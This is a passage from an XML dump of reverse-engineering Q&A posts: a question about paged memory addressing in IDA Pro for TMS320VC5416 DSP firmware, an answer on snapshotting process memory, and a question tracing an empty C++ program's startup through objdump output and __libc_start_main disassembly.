  <row Id="22609" PostTypeId="1" CreationDate="2019-11-23T17:15:02.523" Score="1" ViewCount="146" Body="&lt;p&gt;I have file with DSP firmware inside. Each chunk of code or data is preceded by header with format &quot;page,offset,length&quot;.See below full list of headers:   &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;page: 0000 offset: 0080 len: 0149&lt;br&gt;&#xA;page: 0000 offset: 02c2 len: 033b&lt;br&gt;&#xA;page: 0000 offset: 0639 len: 14d4&lt;br&gt;&#xA;page: 0000 offset: 1bc6 len: 0053&lt;br&gt;&#xA;page: 0000 offset: 4000 len: 0100&lt;br&gt;&#xA;page: 0000 offset: 4220 len: 0009&lt;br&gt;&#xA;page: 0000 offset: 4300 len: 00a1&lt;br&gt;&#xA;page: 0000 offset: 4670 len: 0075&lt;br&gt;&#xA;page: 0000 offset: 46f0 len: 00c4&lt;br&gt;&#xA;page: 0000 offset: 47c0 len: 003e&lt;br&gt;&#xA;page: 0000 offset: a210 len: 0009&lt;br&gt;&#xA;page: 0000 offset: b0a4 len: 0030&lt;br&gt;&#xA;page: 0000 offset: b1a8 len: 0039&lt;br&gt;&#xA;page: 0000 offset: c000 len: 0200&lt;br&gt;&#xA;page: 0000 offset: c9db len: 003f&lt;br&gt;&#xA;page: 0000 offset: ca20 len: 013b&lt;br&gt;&#xA;page: 0000 offset: cb60 len: 0034&lt;br&gt;&#xA;page: 0000 offset: ce81 len: 00d1&lt;br&gt;&#xA;page: 0000 offset: d000 len: 0100&lt;br&gt;&#xA;page: 0000 offset: d200 len: 080e&lt;br&gt;&#xA;page: 0002 offset: 9000 len: 339a&lt;br&gt;&#xA;page: 0002 offset: f000 len: 08ab&lt;br&gt;&#xA;page: 0003 offset: 8000 len: 435d  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;How can I implement memory paging addressing using standard ida pro facilities ?&lt;/p&gt;&#xA;" OwnerUserId="24877" LastActivityDate="2019-11-23T17:15:02.523" Title="TMS320VC5416 DSP firmware reversing" Tags="|ida|disassembly|firmware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22610" PostTypeId="2" ParentId="22608" CreationDate="2019-11-23T20:09:08.210" Score="1" Body="&lt;p&gt;Actually, I think this should technically be possible, without having put too much thought into it. Freeze all threads, save thread context state for all of them, enumerate all of the memory used by the program and dump it alongside meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A problem would be stuff like open handles (files, connected sockets etc.) but for programs within a limited scope I'd say it's doable. I don't know of any tool that implements something like that though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a bigger scale, snapshots in VM applications do just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a specific case you'd like to solve with this?&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-11-23T20:09:08.210" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22614" PostTypeId="1" AcceptedAnswerId="22617" CreationDate="2019-11-24T23:47:05.123" Score="2" ViewCount="669" Body="&lt;p&gt;Compiling a minimal C++ program:&#xA;&lt;code&gt;g++ -g -Wall -Wextra -std=c++17 -o prog main.cpp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Performing an &lt;code&gt;objdump -C -D prog&lt;/code&gt; of all sections I am given the following output:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prog:     file format elf64-x86-64&#xA;&#xA;&#xA;Disassembly of section .interp:&#xA;&#xA;0000000000400200 &amp;lt;.interp&amp;gt;:&#xA;  400200:   2f                      (bad)  &#xA;  400201:   6c                      insb   (%dx),%es:(%rdi)&#xA;  400202:   69 62 36 34 2f 6c 64    imul   $0x646c2f34,0x36(%rdx),%esp&#xA;  400209:   2d 6c 69 6e 75          sub    $0x756e696c,%eax&#xA;  40020e:   78 2d                   js     40023d &amp;lt;_init-0x193&amp;gt;&#xA;  400210:   78 38                   js     40024a &amp;lt;_init-0x186&amp;gt;&#xA;  400212:   36 2d 36 34 2e 73       ss sub $0x732e3436,%eax&#xA;  400218:   6f                      outsl  %ds:(%rsi),(%dx)&#xA;  400219:   2e 32 00                xor    %cs:(%rax),%al&#xA;&#xA;Disassembly of section .note.ABI-tag:&#xA;&#xA;000000000040021c &amp;lt;.note.ABI-tag&amp;gt;:&#xA;  40021c:   04 00                   add    $0x0,%al&#xA;  40021e:   00 00                   add    %al,(%rax)&#xA;  400220:   10 00                   adc    %al,(%rax)&#xA;  400222:   00 00                   add    %al,(%rax)&#xA;  400224:   01 00                   add    %eax,(%rax)&#xA;  400226:   00 00                   add    %al,(%rax)&#xA;  400228:   47                      rex.RXB&#xA;  400229:   4e 55                   rex.WRX push %rbp&#xA;  40022b:   00 00                   add    %al,(%rax)&#xA;  40022d:   00 00                   add    %al,(%rax)&#xA;  40022f:   00 02                   add    %al,(%rdx)&#xA;  400231:   00 00                   add    %al,(%rax)&#xA;  400233:   00 06                   add    %al,(%rsi)&#xA;  400235:   00 00                   add    %al,(%rax)&#xA;  400237:   00 20                   add    %ah,(%rax)&#xA;  400239:   00 00                   add    %al,(%rax)&#xA;    ...&#xA;&#xA;Disassembly of section .hash:&#xA;&#xA;0000000000400240 &amp;lt;.hash&amp;gt;:&#xA;  400240:   03 00                   add    (%rax),%eax&#xA;  400242:   00 00                   add    %al,(%rax)&#xA;  400244:   05 00 00 00 01          add    $0x1000000,%eax&#xA;  400249:   00 00                   add    %al,(%rax)&#xA;  40024b:   00 04 00                add    %al,(%rax,%rax,1)&#xA;    ...&#xA;  40025e:   00 00                   add    %al,(%rax)&#xA;  400260:   02 00                   add    (%rax),%al&#xA;  400262:   00 00                   add    %al,(%rax)&#xA;  400264:   03 00                   add    (%rax),%eax&#xA;    ...&#xA;&#xA;Disassembly of section .dynsym:&#xA;&#xA;0000000000400268 &amp;lt;.dynsym&amp;gt;:&#xA;    ...&#xA;  400280:   10 00                   adc    %al,(%rax)&#xA;  400282:   00 00                   add    %al,(%rax)&#xA;  400284:   20 00                   and    %al,(%rax)&#xA;    ...&#xA;  400296:   00 00                   add    %al,(%rax)&#xA;  400298:   77 00                   ja     40029a &amp;lt;_init-0x136&amp;gt;&#xA;  40029a:   00 00                   add    %al,(%rax)&#xA;  40029c:   12 00                   adc    (%rax),%al&#xA;    ...&#xA;  4002ae:   00 00                   add    %al,(%rax)&#xA;  4002b0:   1f                      (bad)  &#xA;  4002b1:   00 00                   add    %al,(%rax)&#xA;  4002b3:   00 20                   add    %ah,(%rax)&#xA;    ...&#xA;  4002c5:   00 00                   add    %al,(%rax)&#xA;  4002c7:   00 3b                   add    %bh,(%rbx)&#xA;  4002c9:   00 00                   add    %al,(%rax)&#xA;  4002cb:   00 20                   add    %ah,(%rax)&#xA;    ...&#xA;&#xA;Disassembly of section .dynstr:&#xA;&#xA;00000000004002e0 &amp;lt;.dynstr&amp;gt;:&#xA;  4002e0:   00 6c 69 62             add    %ch,0x62(%rcx,%rbp,2)&#xA;  4002e4:   73 74                   jae    40035a &amp;lt;_init-0x76&amp;gt;&#xA;  4002e6:   64 63 2b                movslq %fs:(%rbx),%ebp&#xA;  4002e9:   2b 2e                   sub    (%rsi),%ebp&#xA;  4002eb:   73 6f                   jae    40035c &amp;lt;_init-0x74&amp;gt;&#xA;  4002ed:   2e 36 00 5f 5f          cs add %bl,%ss:0x5f(%rdi)&#xA;  4002f2:   67 6d                   insl   (%dx),%es:(%edi)&#xA;  4002f4:   6f                      outsl  %ds:(%rsi),(%dx)&#xA;  4002f5:   6e                      outsb  %ds:(%rsi),(%dx)&#xA;  4002f6:   5f                      pop    %rdi&#xA;  4002f7:   73 74                   jae    40036d &amp;lt;_init-0x63&amp;gt;&#xA;  4002f9:   61                      (bad)  &#xA;  4002fa:   72 74                   jb     400370 &amp;lt;_init-0x60&amp;gt;&#xA;  4002fc:   5f                      pop    %rdi&#xA;  4002fd:   5f                      pop    %rdi&#xA;  4002fe:   00 5f 49                add    %bl,0x49(%rdi)&#xA;  400301:   54                      push   %rsp&#xA;  400302:   4d 5f                   rex.WRB pop %r15&#xA;  400304:   64 65 72 65             fs gs jb 40036d &amp;lt;_init-0x63&amp;gt;&#xA;  400308:   67 69 73 74 65 72 54    imul   $0x4d547265,0x74(%ebx),%esi&#xA;  40030f:   4d &#xA;  400310:   43 6c                   rex.XB insb (%dx),%es:(%rdi)&#xA;  400312:   6f                      outsl  %ds:(%rsi),(%dx)&#xA;  400313:   6e                      outsb  %ds:(%rsi),(%dx)&#xA;  400314:   65 54                   gs push %rsp&#xA;  400316:   61                      (bad)  &#xA;  400317:   62                      (bad)  &#xA;  400318:   6c                      insb   (%dx),%es:(%rdi)&#xA;  400319:   65 00 5f 49             add    %bl,%gs:0x49(%rdi)&#xA;  40031d:   54                      push   %rsp&#xA;  40031e:   4d 5f                   rex.WRB pop %r15&#xA;  400320:   72 65                   jb     400387 &amp;lt;_init-0x49&amp;gt;&#xA;  400322:   67 69 73 74 65 72 54    imul   $0x4d547265,0x74(%ebx),%esi&#xA;  400329:   4d &#xA;  40032a:   43 6c                   rex.XB insb (%dx),%es:(%rdi)&#xA;  40032c:   6f                      outsl  %ds:(%rsi),(%dx)&#xA;  40032d:   6e                      outsb  %ds:(%rsi),(%dx)&#xA;  40032e:   65 54                   gs push %rsp&#xA;  400330:   61                      (bad)  &#xA;  400331:   62                      (bad)  &#xA;  400332:   6c                      insb   (%dx),%es:(%rdi)&#xA;  400333:   65 00 6c 69 62          add    %ch,%gs:0x62(%rcx,%rbp,2)&#xA;  400338:   6d                      insl   (%dx),%es:(%rdi)&#xA;  400339:   2e 73 6f                jae,pn 4003ab &amp;lt;_init-0x25&amp;gt;&#xA;  40033c:   2e 36 00 6c 69 62       cs add %ch,%ss:0x62(%rcx,%rbp,2)&#xA;  400342:   67 63 63 5f             movslq 0x5f(%ebx),%esp&#xA;  400346:   73 2e                   jae    400376 &amp;lt;_init-0x5a&amp;gt;&#xA;  400348:   73 6f                   jae    4003b9 &amp;lt;_init-0x17&amp;gt;&#xA;  40034a:   2e 31 00                xor    %eax,%cs:(%rax)&#xA;  40034d:   6c                      insb   (%dx),%es:(%rdi)&#xA;  40034e:   69 62 63 2e 73 6f 2e    imul   $0x2e6f732e,0x63(%rdx),%esp&#xA;  400355:   36 00 5f 5f             add    %bl,%ss:0x5f(%rdi)&#xA;  400359:   6c                      insb   (%dx),%es:(%rdi)&#xA;  40035a:   69 62 63 5f 73 74 61    imul   $0x6174735f,0x63(%rdx),%esp&#xA;  400361:   72 74                   jb     4003d7 &amp;lt;_init+0x7&amp;gt;&#xA;  400363:   5f                      pop    %rdi&#xA;  400364:   6d                      insl   (%dx),%es:(%rdi)&#xA;  400365:   61                      (bad)  &#xA;  400366:   69 6e 00 47 4c 49 42    imul   $0x42494c47,0x0(%rsi),%ebp&#xA;  40036d:   43 5f                   rex.XB pop %r15&#xA;  40036f:   32 2e                   xor    (%rsi),%ch&#xA;  400371:   32 2e                   xor    (%rsi),%ch&#xA;  400373:   35                      .byte 0x35&#xA;    ...&#xA;&#xA;Disassembly of section .gnu.version:&#xA;&#xA;0000000000400376 &amp;lt;.gnu.version&amp;gt;:&#xA;  400376:   00 00                   add    %al,(%rax)&#xA;  400378:   00 00                   add    %al,(%rax)&#xA;  40037a:   02 00                   add    (%rax),%al&#xA;  40037c:   00 00                   add    %al,(%rax)&#xA;    ...&#xA;&#xA;Disassembly of section .gnu.version_r:&#xA;&#xA;0000000000400380 &amp;lt;.gnu.version_r&amp;gt;:&#xA;  400380:   01 00                   add    %eax,(%rax)&#xA;  400382:   01 00                   add    %eax,(%rax)&#xA;  400384:   6d                      insl   (%dx),%es:(%rdi)&#xA;  400385:   00 00                   add    %al,(%rax)&#xA;  400387:   00 10                   add    %dl,(%rax)&#xA;  400389:   00 00                   add    %al,(%rax)&#xA;  40038b:   00 00                   add    %al,(%rax)&#xA;  40038d:   00 00                   add    %al,(%rax)&#xA;  40038f:   00 75 1a                add    %dh,0x1a(%rbp)&#xA;  400392:   69 09 00 00 02 00       imul   $0x20000,(%rcx),%ecx&#xA;  400398:   89 00                   mov    %eax,(%rax)&#xA;  40039a:   00 00                   add    %al,(%rax)&#xA;  40039c:   00 00                   add    %al,(%rax)&#xA;    ...&#xA;&#xA;Disassembly of section .rela.dyn:&#xA;&#xA;00000000004003a0 &amp;lt;.rela.dyn&amp;gt;:&#xA;  4003a0:   d0 08                   rorb   (%rax)&#xA;  4003a2:   60                      (bad)  &#xA;  4003a3:   00 00                   add    %al,(%rax)&#xA;  4003a5:   00 00                   add    %al,(%rax)&#xA;  4003a7:   00 06                   add    %al,(%rsi)&#xA;  4003a9:   00 00                   add    %al,(%rax)&#xA;  4003ab:   00 01                   add    %al,(%rcx)&#xA;    ...&#xA;&#xA;Disassembly of section .rela.plt:&#xA;&#xA;00000000004003b8 &amp;lt;.rela.plt&amp;gt;:&#xA;  4003b8:   f0 08 60 00             lock or %ah,0x0(%rax)&#xA;  4003bc:   00 00                   add    %al,(%rax)&#xA;  4003be:   00 00                   add    %al,(%rax)&#xA;  4003c0:   07                      (bad)  &#xA;  4003c1:   00 00                   add    %al,(%rax)&#xA;  4003c3:   00 02                   add    %al,(%rdx)&#xA;    ...&#xA;&#xA;Disassembly of section .init:&#xA;&#xA;00000000004003d0 &amp;lt;_init&amp;gt;:&#xA;  4003d0:   48 83 ec 08             sub    $0x8,%rsp&#xA;  4003d4:   48 8b 05 f5 04 20 00    mov    0x2004f5(%rip),%rax        # 6008d0 &amp;lt;_DYNAMIC+0x200&amp;gt;&#xA;  4003db:   48 85 c0                test   %rax,%rax&#xA;  4003de:   74 05                   je     4003e5 &amp;lt;_init+0x15&amp;gt;&#xA;  4003e0:   e8 2b 00 00 00          callq  400410 &amp;lt;__libc_start_main@plt+0x10&amp;gt;&#xA;  4003e5:   48 83 c4 08             add    $0x8,%rsp&#xA;  4003e9:   c3                      retq   &#xA;&#xA;Disassembly of section .plt:&#xA;&#xA;00000000004003f0 &amp;lt;__libc_start_main@plt-0x10&amp;gt;:&#xA;  4003f0:   ff 35 ea 04 20 00       pushq  0x2004ea(%rip)        # 6008e0 &amp;lt;_GLOBAL_OFFSET_TABLE_+0x8&amp;gt;&#xA;  4003f6:   ff 25 ec 04 20 00       jmpq   *0x2004ec(%rip)        # 6008e8 &amp;lt;_GLOBAL_OFFSET_TABLE_+0x10&amp;gt;&#xA;  4003fc:   0f 1f 40 00             nopl   0x0(%rax)&#xA;&#xA;0000000000400400 &amp;lt;__libc_start_main@plt&amp;gt;:&#xA;  400400:   ff 25 ea 04 20 00       jmpq   *0x2004ea(%rip)        # 6008f0 &amp;lt;_GLOBAL_OFFSET_TABLE_+0x18&amp;gt;&#xA;  400406:   68 00 00 00 00          pushq  $0x0&#xA;  40040b:   e9 e0 ff ff ff          jmpq   4003f0 &amp;lt;_init+0x20&amp;gt;&#xA;&#xA;Disassembly of section .plt.got:&#xA;&#xA;0000000000400410 &amp;lt;.plt.got&amp;gt;:&#xA;  400410:   ff 25 ba 04 20 00       jmpq   *0x2004ba(%rip)        # 6008d0 &amp;lt;_DYNAMIC+0x200&amp;gt;&#xA;  400416:   66 90                   xchg   %ax,%ax&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;0000000000400420 &amp;lt;_start&amp;gt;:&#xA;  400420:   31 ed                   xor    %ebp,%ebp&#xA;  400422:   49 89 d1                mov    %rdx,%r9&#xA;  400425:   5e                      pop    %rsi&#xA;  400426:   48 89 e2                mov    %rsp,%rdx&#xA;  400429:   48 83 e4 f0             and    $0xfffffffffffffff0,%rsp&#xA;  40042d:   50                      push   %rax&#xA;  40042e:   54                      push   %rsp&#xA;  40042f:   49 c7 c0 80 05 40 00    mov    $0x400580,%r8&#xA;  400436:   48 c7 c1 10 05 40 00    mov    $0x400510,%rcx&#xA;  40043d:   48 c7 c7 f7 04 40 00    mov    $0x4004f7,%rdi&#xA;  400444:   e8 b7 ff ff ff          callq  400400 &amp;lt;__libc_start_main@plt&amp;gt;&#xA;  400449:   f4                      hlt    &#xA;  40044a:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)&#xA;&#xA;0000000000400450 &amp;lt;deregister_tm_clones&amp;gt;:&#xA;  400450:   55                      push   %rbp&#xA;  400451:   b8 08 09 60 00          mov    $0x600908,%eax&#xA;  400456:   48 3d 08 09 60 00       cmp    $0x600908,%rax&#xA;  40045c:   48 89 e5                mov    %rsp,%rbp&#xA;  40045f:   74 17                   je     400478 &amp;lt;deregister_tm_clones+0x28&amp;gt;&#xA;  400461:   b8 00 00 00 00          mov    $0x0,%eax&#xA;  400466:   48 85 c0                test   %rax,%rax&#xA;  400469:   74 0d                   je     400478 &amp;lt;deregister_tm_clones+0x28&amp;gt;&#xA;  40046b:   5d                      pop    %rbp&#xA;  40046c:   bf 08 09 60 00          mov    $0x600908,%edi&#xA;  400471:   ff e0                   jmpq   *%rax&#xA;  400473:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)&#xA;  400478:   5d                      pop    %rbp&#xA;  400479:   c3                      retq   &#xA;  40047a:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)&#xA;&#xA;0000000000400480 &amp;lt;register_tm_clones&amp;gt;:&#xA;  400480:   be 08 09 60 00          mov    $0x600908,%esi&#xA;  400485:   55                      push   %rbp&#xA;  400486:   48 81 ee 08 09 60 00    sub    $0x600908,%rsi&#xA;  40048d:   48 89 e5                mov    %rsp,%rbp&#xA;  400490:   48 c1 fe 03             sar    $0x3,%rsi&#xA;  400494:   48 89 f0                mov    %rsi,%rax&#xA;  400497:   48 c1 e8 3f             shr    $0x3f,%rax&#xA;  40049b:   48 01 c6                add    %rax,%rsi&#xA;  40049e:   48 d1 fe                sar    %rsi&#xA;  4004a1:   74 15                   je     4004b8 &amp;lt;register_tm_clones+0x38&amp;gt;&#xA;  4004a3:   b8 00 00 00 00          mov    $0x0,%eax&#xA;  4004a8:   48 85 c0                test   %rax,%rax&#xA;  4004ab:   74 0b                   je     4004b8 &amp;lt;register_tm_clones+0x38&amp;gt;&#xA;  4004ad:   5d                      pop    %rbp&#xA;  4004ae:   bf 08 09 60 00          mov    $0x600908,%edi&#xA;  4004b3:   ff e0                   jmpq   *%rax&#xA;  4004b5:   0f 1f 00                nopl   (%rax)&#xA;  4004b8:   5d                      pop    %rbp&#xA;  4004b9:   c3                      retq   &#xA;  4004ba:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)&#xA;&#xA;00000000004004c0 &amp;lt;__do_global_dtors_aux&amp;gt;:&#xA;  4004c0:   80 3d 41 04 20 00 00    cmpb   $0x0,0x200441(%rip)        # 600908 &amp;lt;__TMC_END__&amp;gt;&#xA;  4004c7:   75 17                   jne    4004e0 &amp;lt;__do_global_dtors_aux+0x20&amp;gt;&#xA;  4004c9:   55                      push   %rbp&#xA;  4004ca:   48 89 e5                mov    %rsp,%rbp&#xA;  4004cd:   e8 7e ff ff ff          callq  400450 &amp;lt;deregister_tm_clones&amp;gt;&#xA;  4004d2:   c6 05 2f 04 20 00 01    movb   $0x1,0x20042f(%rip)        # 600908 &amp;lt;__TMC_END__&amp;gt;&#xA;  4004d9:   5d                      pop    %rbp&#xA;  4004da:   c3                      retq   &#xA;  4004db:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)&#xA;  4004e0:   f3 c3                   repz retq &#xA;  4004e2:   0f 1f 40 00             nopl   0x0(%rax)&#xA;  4004e6:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)&#xA;  4004ed:   00 00 00 &#xA;&#xA;00000000004004f0 &amp;lt;frame_dummy&amp;gt;:&#xA;  4004f0:   55                      push   %rbp&#xA;  4004f1:   48 89 e5                mov    %rsp,%rbp&#xA;  4004f4:   5d                      pop    %rbp&#xA;  4004f5:   eb 89                   jmp    400480 &amp;lt;register_tm_clones&amp;gt;&#xA;&#xA;00000000004004f7 &amp;lt;main&amp;gt;:&#xA;  4004f7:   55                      push   %rbp&#xA;  4004f8:   48 89 e5                mov    %rsp,%rbp&#xA;  4004fb:   b8 00 00 00 00          mov    $0x0,%eax&#xA;  400500:   5d                      pop    %rbp&#xA;  400501:   c3                      retq   &#xA;  400502:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)&#xA;  400509:   00 00 00 &#xA;  40050c:   0f 1f 40 00             nopl   0x0(%rax)&#xA;&#xA;    ...&#xA;&#xA;  (Due to limits of the body in SO questions I'm cutting it off here)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But as I'm single stepping through the debugger, I eventually end up in the assembler code of &lt;code&gt;__libc_start_main&lt;/code&gt; (whose code is not seen in the objdump of the program):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00007ffffe790740 &amp;lt;__libc_start_main+0&amp;gt;:   push   %r14&#xA;0x00007ffffe790742 &amp;lt;__libc_start_main+2&amp;gt;:   push   %r13&#xA;0x00007ffffe790744 &amp;lt;__libc_start_main+4&amp;gt;:   push   %r12&#xA;0x00007ffffe790746 &amp;lt;__libc_start_main+6&amp;gt;:   push   %rbp&#xA;0x00007ffffe790747 &amp;lt;__libc_start_main+7&amp;gt;:   mov    %rcx,%rbp&#xA;0x00007ffffe79074a &amp;lt;__libc_start_main+10&amp;gt;:  push   %rbx&#xA;0x00007ffffe79074b &amp;lt;__libc_start_main+11&amp;gt;:  sub    $0x90,%rsp&#xA;0x00007ffffe790752 &amp;lt;__libc_start_main+18&amp;gt;:  mov    0x3a37ef(%rip),%rax        # 0x7ffffeb33f48&#xA;0x00007ffffe790759 &amp;lt;__libc_start_main+25&amp;gt;:  mov    %rdi,0x18(%rsp)&#xA;0x00007ffffe79075e &amp;lt;__libc_start_main+30&amp;gt;:  mov    %esi,0x14(%rsp)&#xA;0x00007ffffe790762 &amp;lt;__libc_start_main+34&amp;gt;:  mov    %rdx,0x8(%rsp)&#xA;0x00007ffffe790767 &amp;lt;__libc_start_main+39&amp;gt;:  test   %rax,%rax&#xA;0x00007ffffe79076a &amp;lt;__libc_start_main+42&amp;gt;:  je     0x7ffffe790837 &amp;lt;__libc_start_main+247&amp;gt;&#xA;0x00007ffffe790770 &amp;lt;__libc_start_main+48&amp;gt;:  mov    (%rax),%eax&#xA;0x00007ffffe790772 &amp;lt;__libc_start_main+50&amp;gt;:  xor    %edx,%edx&#xA;0x00007ffffe790774 &amp;lt;__libc_start_main+52&amp;gt;:  test   %eax,%eax&#xA;0x00007ffffe790776 &amp;lt;__libc_start_main+54&amp;gt;:  sete   %dl&#xA;0x00007ffffe790779 &amp;lt;__libc_start_main+57&amp;gt;:  lea    0x3a3900(%rip),%rax        # 0x7ffffeb34080 &amp;lt;__libc_multiple_libcs&amp;gt;&#xA;0x00007ffffe790780 &amp;lt;__libc_start_main+64&amp;gt;:  test   %r9,%r9&#xA;0x00007ffffe790783 &amp;lt;__libc_start_main+67&amp;gt;:  mov    %edx,(%rax)&#xA;0x00007ffffe790785 &amp;lt;__libc_start_main+69&amp;gt;:  je     0x7ffffe790793 &amp;lt;__libc_start_main+83&amp;gt;&#xA;0x00007ffffe790787 &amp;lt;__libc_start_main+71&amp;gt;:  xor    %edx,%edx&#xA;0x00007ffffe790789 &amp;lt;__libc_start_main+73&amp;gt;:  xor    %esi,%esi&#xA;0x00007ffffe79078b &amp;lt;__libc_start_main+75&amp;gt;:  mov    %r9,%rdi&#xA;0x00007ffffe79078e &amp;lt;__libc_start_main+78&amp;gt;:  callq  0x7ffffe7aa280 &amp;lt;__GI___cxa_atexit&amp;gt;&#xA;0x00007ffffe790793 &amp;lt;__libc_start_main+83&amp;gt;:  mov    0x3a36d6(%rip),%rdx        # 0x7ffffeb33e70&#xA;0x00007ffffe79079a &amp;lt;__libc_start_main+90&amp;gt;:  mov    (%rdx),%ebx&#xA;0x00007ffffe79079c &amp;lt;__libc_start_main+92&amp;gt;:  and    $0x2,%ebx&#xA;0x00007ffffe79079f &amp;lt;__libc_start_main+95&amp;gt;:  jne    0x7ffffe790876 &amp;lt;__libc_start_main+310&amp;gt;&#xA;0x00007ffffe7907a5 &amp;lt;__libc_start_main+101&amp;gt;: test   %rbp,%rbp&#xA;0x00007ffffe7907a8 &amp;lt;__libc_start_main+104&amp;gt;: je     0x7ffffe7907bf &amp;lt;__libc_start_main+127&amp;gt;&#xA;0x00007ffffe7907aa &amp;lt;__libc_start_main+106&amp;gt;: mov    0x3a3707(%rip),%rax        # 0x7ffffeb33eb8&#xA;0x00007ffffe7907b1 &amp;lt;__libc_start_main+113&amp;gt;: mov    0x8(%rsp),%rsi&#xA;0x00007ffffe7907b6 &amp;lt;__libc_start_main+118&amp;gt;: mov    0x14(%rsp),%edi&#xA;0x00007ffffe7907ba &amp;lt;__libc_start_main+122&amp;gt;: mov    (%rax),%rdx&#xA;0x00007ffffe7907bd &amp;lt;__libc_start_main+125&amp;gt;: callq  *%rbp&#xA;0x00007ffffe7907bf &amp;lt;__libc_start_main+127&amp;gt;: mov    0x3a36aa(%rip),%rax        # 0x7ffffeb33e70&#xA;0x00007ffffe7907c6 &amp;lt;__libc_start_main+134&amp;gt;: mov    0x170(%rax),%r14d&#xA;0x00007ffffe7907cd &amp;lt;__libc_start_main+141&amp;gt;: test   %r14d,%r14d&#xA;0x00007ffffe7907d0 &amp;lt;__libc_start_main+144&amp;gt;: jne    0x7ffffe7908cb &amp;lt;__libc_start_main+395&amp;gt;&#xA;0x00007ffffe7907d6 &amp;lt;__libc_start_main+150&amp;gt;: test   %ebx,%ebx&#xA;0x00007ffffe7907d8 &amp;lt;__libc_start_main+152&amp;gt;: jne    0x7ffffe7908a8 &amp;lt;__libc_start_main+360&amp;gt;&#xA;0x00007ffffe7907de &amp;lt;__libc_start_main+158&amp;gt;: lea    0x20(%rsp),%rdi&#xA;0x00007ffffe7907e3 &amp;lt;__libc_start_main+163&amp;gt;: callq  0x7ffffe7a5250 &amp;lt;_setjmp&amp;gt;&#xA;0x00007ffffe7907e8 &amp;lt;__libc_start_main+168&amp;gt;: test   %eax,%eax&#xA;0x00007ffffe7907ea &amp;lt;__libc_start_main+170&amp;gt;: jne    0x7ffffe79083e &amp;lt;__libc_start_main+254&amp;gt;&#xA;0x00007ffffe7907ec &amp;lt;__libc_start_main+172&amp;gt;: mov    %fs:0x300,%rax&#xA;0x00007ffffe7907f5 &amp;lt;__libc_start_main+181&amp;gt;: mov    %rax,0x68(%rsp)&#xA;0x00007ffffe7907fa &amp;lt;__libc_start_main+186&amp;gt;: mov    %fs:0x2f8,%rax&#xA;0x00007ffffe790803 &amp;lt;__libc_start_main+195&amp;gt;: mov    %rax,0x70(%rsp)&#xA;0x00007ffffe790808 &amp;lt;__libc_start_main+200&amp;gt;: lea    0x20(%rsp),%rax&#xA;0x00007ffffe79080d &amp;lt;__libc_start_main+205&amp;gt;: mov    %rax,%fs:0x300&#xA;0x00007ffffe790816 &amp;lt;__libc_start_main+214&amp;gt;: mov    0x3a369b(%rip),%rax        # 0x7ffffeb33eb8&#xA;0x00007ffffe79081d &amp;lt;__libc_start_main+221&amp;gt;: mov    0x8(%rsp),%rsi&#xA;0x00007ffffe790822 &amp;lt;__libc_start_main+226&amp;gt;: mov    0x14(%rsp),%edi&#xA;0x00007ffffe790826 &amp;lt;__libc_start_main+230&amp;gt;: mov    (%rax),%rdx&#xA;0x00007ffffe790829 &amp;lt;__libc_start_main+233&amp;gt;: mov    0x18(%rsp),%rax&#xA;0x00007ffffe79082e &amp;lt;__libc_start_main+238&amp;gt;: callq  *%rax&#xA;0x00007ffffe790830 &amp;lt;__libc_start_main+240&amp;gt;: mov    %eax,%edi&#xA;0x00007ffffe790832 &amp;lt;__libc_start_main+242&amp;gt;: callq  0x7ffffe7aa030 &amp;lt;__GI_exit&amp;gt;&#xA;0x00007ffffe790837 &amp;lt;__libc_start_main+247&amp;gt;: xor    %edx,%edx&#xA;0x00007ffffe790839 &amp;lt;__libc_start_main+249&amp;gt;: jmpq   0x7ffffe790779 &amp;lt;__libc_start_main+57&amp;gt;&#xA;0x00007ffffe79083e &amp;lt;__libc_start_main+254&amp;gt;: mov    0x3a8ecb(%rip),%rax        # 0x7ffffeb39710 &amp;lt;__libc_pthread_functions+400&amp;gt;&#xA;0x00007ffffe790845 &amp;lt;__libc_start_main+261&amp;gt;: ror    $0x11,%rax&#xA;0x00007ffffe790849 &amp;lt;__libc_start_main+265&amp;gt;: xor    %fs:0x30,%rax&#xA;0x00007ffffe790852 &amp;lt;__libc_start_main+274&amp;gt;: callq  *%rax&#xA;0x00007ffffe790854 &amp;lt;__libc_start_main+276&amp;gt;: mov    0x3a8ea5(%rip),%rax        # 0x7ffffeb39700 &amp;lt;__libc_pthread_functions+384&amp;gt;&#xA;0x00007ffffe79085b &amp;lt;__libc_start_main+283&amp;gt;: ror    $0x11,%rax&#xA;0x00007ffffe79085f &amp;lt;__libc_start_main+287&amp;gt;: xor    %fs:0x30,%rax&#xA;0x00007ffffe790868 &amp;lt;__libc_start_main+296&amp;gt;: lock decl (%rax)&#xA;0x00007ffffe79086b &amp;lt;__libc_start_main+299&amp;gt;: sete   %dl&#xA;0x00007ffffe79086e &amp;lt;__libc_start_main+302&amp;gt;: test   %dl,%dl&#xA;0x00007ffffe790870 &amp;lt;__libc_start_main+304&amp;gt;: je     0x7ffffe790892 